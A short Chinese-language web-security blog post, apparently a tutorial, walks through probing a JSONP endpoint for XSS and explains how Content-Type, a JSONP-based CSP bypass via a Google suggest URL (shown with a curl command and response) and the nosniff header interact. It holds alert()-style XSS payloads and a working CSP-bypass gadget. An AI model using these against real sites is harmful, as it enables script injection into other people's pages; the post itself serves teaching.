這兩天寫點簡單荒謬的 xD
想像今天你是一位滲透測試工程師:
URL:
https://vuln.web.com/jsonp?search=<script>alert(1)</script>
你成功變出了
{"search":"<script>alert(1)</script>"}
emm... yep,作為一個 JSONP Endpoint [1],它沒有刻意把輸入內容轉乘 UNICODE 表達 e.g. < 轉為 \u003c,你的自動化測試工具告訴你成功任意在網站渲染想要的內容,成功 XSS 了!
不對不對,你仔細 curl 了一遍,看到一個 HTTP Header: Content-Type: Content-Type: application/json; charset=utf-8
這個 HTTP Header 是在告訴網站,當前的網站內容應該用什麼方法渲染,當今天特別指明是 application/json 的時候網站就會以 JSON 特定格式去渲染,而不會當作一個 HTML 檔案來處理。
所以即便拿到一個很自由的內容渲染,依然無法做到 XSS 成功注入 HTML/JavaScript 程式碼。
QQ
仔細 Google 一下 JSONP,你找到了很多關於 JSONP Bypass CSP 的內容:

CSP 保護在前面好像有簡單帶過過!那也提過 CSP 保護其中一個選項是 "限制被引入的 JS 檔案來源"
像是今天如果限制檔案只能來自 google.com,安全嗎?
Curl 看看網址 https://www.google.com/complete/search?client=chrome&jsonp=alert(document.domain)//,你會發現顯示出來的內容根本就是 URL 參數可控的回傳值 + JS 注入,因為 JSONP 的自由性導致常常被濫用來 CSP Bypass!
$ curl "https://www.google.com/complete/search?client=chrome&jsonp=alert(document.domain)//" -i
HTTP/1.1 200 OK
Date: Fri, 25 Sep 2026 13:15:59 GMT
Pragma: no-cache
Expires: -1
Cache-Control: no-cache, must-revalidate
Content-Type: text/javascript; charset=ISO-8859-1
Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-S9w0PBcTsVG69-7KVdXZcA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/xsrp
Accept-CH: Sec-CH-Prefers-Color-Scheme
Content-Disposition: attachment; filename="f.txt"
Server: gws
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
alert(document.domain)//(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])
好的,回到故事開頭,後來果然你發現了任意 JS 檔案從網站引入!故事結束?畢竟我們都有可控 JSONP Endpoint 了 ...
不... 在 Alert 跳不出來後你又發現了 X-Content-Type-Options: nosniff HTTP Header ....
X-Content-Type-Options [2] 就是在告訴網站 "必須用来提示客户端一定要遵循在 Content-Type 首部中对 MIME 类型 的设定,而不能对其进行修改。",所以即便成功引入它並且放進 <script src=... 的 JS URL 選項中,還是會因為 nosniff (禁止猜測) 的選項而阻止瀏覽器繼續把它當 JS 執行!